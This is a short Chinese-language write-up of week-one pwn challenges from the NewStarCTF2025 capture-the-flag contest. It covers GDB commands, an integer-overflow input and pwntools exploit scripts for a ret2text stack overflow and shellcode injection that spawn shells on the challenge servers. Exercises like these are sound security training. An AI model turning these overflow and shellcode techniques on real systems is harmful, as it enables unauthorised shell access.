NewStarCTF2025-Week1-PWN
可能是第一周大佬们都不屑于打吧哈哈哈
简单写下 pwn 的
1、GNU Debugger
按要求操作
第一关是查看寄存器的值:
p/x $r12
下一关,查看某个地址处的字符串内容
x/s 0x555555557c27
当然也可以用 p 指令,把常量当作 char * 来解释并打印为字符串
p/s (char *)0x555555557c27
下一关
好像没什么东西,下断点继续运行就可以了
break *0x555555555779
c 两次
设置值即可:
set {unsigned int}0x7fffffffde34 = 0xdeadbeef
2、INTbug
考察整数溢出,v1 是有符号16位整数,范围 -32768 到 32767
连续输入 32768 个正数,让 v1 自增发生溢出变成负数
exp:
from pwn import *
io = remote('8.147.134.121', 20592)
io.sendline(b'1'*32768)
io.interactive()
3、pwn's door
直接给了密码 7038329
输入后即可 getshell
4、overflow
try 函数存在栈溢出
存在后门函数
打ret2text
exp:
from pwn import *
io = remote('39.106.48.123',25891)backdoor_addr = 0x401222
payload = cyclic(0x100+8)+p64(backdoor_addr)
io.sendline(payload)
io.interactive()
5、input_function
buf 处可读可写可执行,存在栈溢出
最后会直接将 buf 当成函数执行
我原本还在担心后面的 leave;ret 会破坏写入的 shellcode
因为 shellcode 写到了 rbp
但是试了下发现可以直接打通
exp:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('8.147.134.121',30853)buf_addr = 0x114514
shellcode = asm(shellcraft.sh())
payload = shellcode + p64(buf_addr)
io.sendlineafter('\n',payload)
io.interactive()